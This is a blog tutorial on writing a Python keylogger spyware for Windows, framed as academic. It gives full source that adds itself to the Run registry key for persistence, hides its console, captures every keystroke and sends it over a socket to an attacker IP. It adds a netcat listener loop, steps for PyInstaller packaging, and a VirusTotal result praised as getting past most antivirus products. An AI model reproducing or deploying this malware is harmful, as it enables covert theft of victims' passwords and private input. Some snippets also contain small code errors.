Writing Your Own Malware

Writing Your Own Malware

[Total: 137    Average: 3.7/5]

 

  1. Objective

 

Hello All, First I would like to set our objectives and goals through this article, in this article we will have a small tutorial and example on how to write a malware using python, The target audience for this articles are the academic community who seeks to understand the working details of every thing and every tool they use, because at the end most tools are available online. However Learning the details is essential academically if you want to get improved and as we will see it’s not rocket science and some malware can consist of just simple lines of code.

 

  1. Introduction

 

I’m going to discuss the basic structure on how to write a malware, spyware or Trojans, We all know that there are many types of malwares including rootkits, ransom ware, key logger,…etc. In this article we will start our tutorial with a key logger spyware program that can infect a windows machine permanently without the end user knowledge.

Writing a key logger requires only basic coding skills. The programming language I will be using is Python since it is very effective when it comes to such programs.

 

  1. Program Structure

 

Before demonstrating the code, I will be giving a brief explanation on the functioning of the script and the way it works. The script has four main functions:

  1. AddProgramToStartUp(): This function modifies a registry key called HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. Entries in this registry determine which programs should run during the computer’s startup or user’s login; this is a way to make the malware working permanently.
  2. HideCmd(): This function will hide any activity happening in the cmd so that the user does not suspect anything.
  3. SendToRemoteServer(): This function opens a socket level connection to the attacking machine in the purpose of sending it the keystrokes.
  4. GetKeyPressedAndSendIt(): This function receives the key pressed by the user and then sends it to the attacker using the function SendToRemoteServer().

 

Below is a little flowchart of the program Structure.

 

write1

 

 

4. Python Source Code

 

 

#!/usr/bin/python

##PyHook and Pythoncom are responsible for getting keystrokes                                        

import  pyHook, pythoncom 

##socket will be used for channel creation between victim and the attacker                       

import socket

##the next modules are used for windows functions like editing registry keys and hide cmd function

import win32event, win32api, winerror,win32console,win32gui

from _winreg import *

def AddProgramToStartup():              ##Function Definition

##in python __file__ is an instant of the file path where it was executed so if the user excuted the file from the desktop t __file__ would be c:\users\username\desktop

fp=os.path.dirname(os.path.realpath(__file__))

##next appending the filename “malware.py”

 file_name=”maleware.py”

new_file_path=fp+”\\”+file_name

 

##KeyVal is a raw string variable containing registry key name.

##python raw strings used in case we have / in our strings

               keyVal= r’Software\Microsoft\Windows\CurrentVersion\Run’

##The next couple of codes is adding an entry in the registry key which will make our code run each time user logs in.

               key2change= OpenKey(HKEY_CURRENT_USER,keyVal,0,KEY_ALL_ACCESS)

SetValueEx(key2change, “HacKeD”,0,REG_SZ, new_file_path)

##Creating and initializing variable called data which will hold the keystrokes and HOST_IP which is the attacker’s IP

data=”

HOST_IP=”192.168.4.78″

def SendToRemoteServer():                ##Function Definition

    global data                                           ##Global variable which is the data to be sent

#Create a TCP socket and connect to the attacker machine on Port 500 ,These lines of code I believe most of python users aware of.

    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.connect((HOST_IP, 500))

    sock.send(data)

    sock.close()

    return True

def HideCmd():      ##Function Definition.

    window = win32console.GetConsoleWindow()    ##Get a CMD

    win32gui.ShowWindow(window,0)                            ##Hide the CMD Shell(Putting the value 0)

    return True

def GetKeyPressedAndSendIt(event):                        ##Function Definition

    global data                                                   ##Global variable data which will hold key strokes

##The next peace of the IF Statements are responsible for changing the ASCI value of the letters to characters.

               if event.Ascii==13:           

                              keys='<ENTER>’

               elif event.Ascii==8:

                              keys='<BACK SPACE>’

               elif event.Ascii==9:

                              keys='<TAB>’

               else:

                              keys=chr(event.Ascii)             ##if any letter is pressed get the character value of it’s Asci.

 

               data=data+keys                                                             ##Put the key into the buffer

               HideCmd()                                                                       ##Hide The CMD

               SendToRemoteServer()                                                ##Send the Key logs to the remote server

##Now after defining all the functions it’s time for the main function which will be executed upon double clicking on the file.

##First it will call the AddProgramToStartUp () Function.

AddProgramToStartup()

##Next the part is to get key strokes from the keyboard, This can be easily done done using pyhook and pythoncomp

##The below link explains how to get mouse events and keyboard events using python(PyHook and Pythoncom Modules)

###############http://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/##################

hm = pyHook.HookManager()

##Call the function GetKeyPresseedAndSendIt()

hm.KeyDown = GetKeyPressedAndSendIt()             

hm.HookKeyboard()

pythoncom.PumpMessages()

 

  • It is mandatory to have a listener which should be implemented at the attacker machine on port 500 to receive the key logs, and this can be easily implemented using the bash.

#!/usr/bin/bash

while true

do

    nc -nlp 500                 ##open a permanent listener on port 500 using nc

done

 

 

5. Python2EXE

 

As you can see, it is not complicated to write personal key loggers, and the same thing applies to som malwares. The challenge now is running the script we have written before in a machine, such as Windows, where Python is not installed. The solution to this problem is Pyinstaller which is used to convert a Python script into an executable file. You only need to download Pyinstaller and run the command Pyinstaller –onefile <script>.py on the cmd.

This is a screenshot while running Pyinstaller, The output of the command will generate an exe file in the Pyinstaller directory.

 

write2

6. Executable in action

After implementing both the key logger and the listener code, we will check if they are working. I am using my Linux Mint as the attacking machine and windows 7 as the Victim Machine. I first run the bash listener file using ./listener.sh.

 

Next When the user executes the file:

 

  • First, an entry in the registry keys will be created
  • Then, the CMD will be hidden from the user
  • Finally, it will get the key log and send it to the attacker.

Now, waiting for the victim to execute the file, from the code when the user hits the file it should create an entry in the registry keys, Hide CMD, Get Key logs and send it to the attacker, Now Let’s see these in action.

  1. Adding the program to the computer’s Start Up in /Software/Microsoft/Windows/CurrentVersion/Run

 

write3

2. Hiding the Cmd so that the user does not know anything about the programs’ functioning.  It can also be a minor program which runs along  with the keylogger after being executed. The process malware.exe is running and the cmd did not alert the user because it was hidden

write4

3. The last step is receiving the keystrokes on my Linux mint

 

write5

write6

7. VirusTotal Detection Ratio

 

Since this is a personal code, I am going to check its detection ratio by antiviruses and antimalwares  using virustotal.

 

 

write7

Great! Our executable file can be detected  by only  two antiviruses (ClamAV,TheHacker), which means that we can bypass the most common used antiviruses like Kaspersky,AVE,Nod32.  Therefore Knowing how to write a malware has also a bonus value despite digging in the details of how malware operates but also you will have a less chance of being detected by Antiviruses .

Thanks For your time!  To have a look at the source code, please visit my Github repository.

https://github.com/HacKeD0x90/PythonKeyLogger

 

 

About The Author

0ee1056

 

 

 

 

 

 

Khaled Sakr, Information Security Engineer at Security-Meter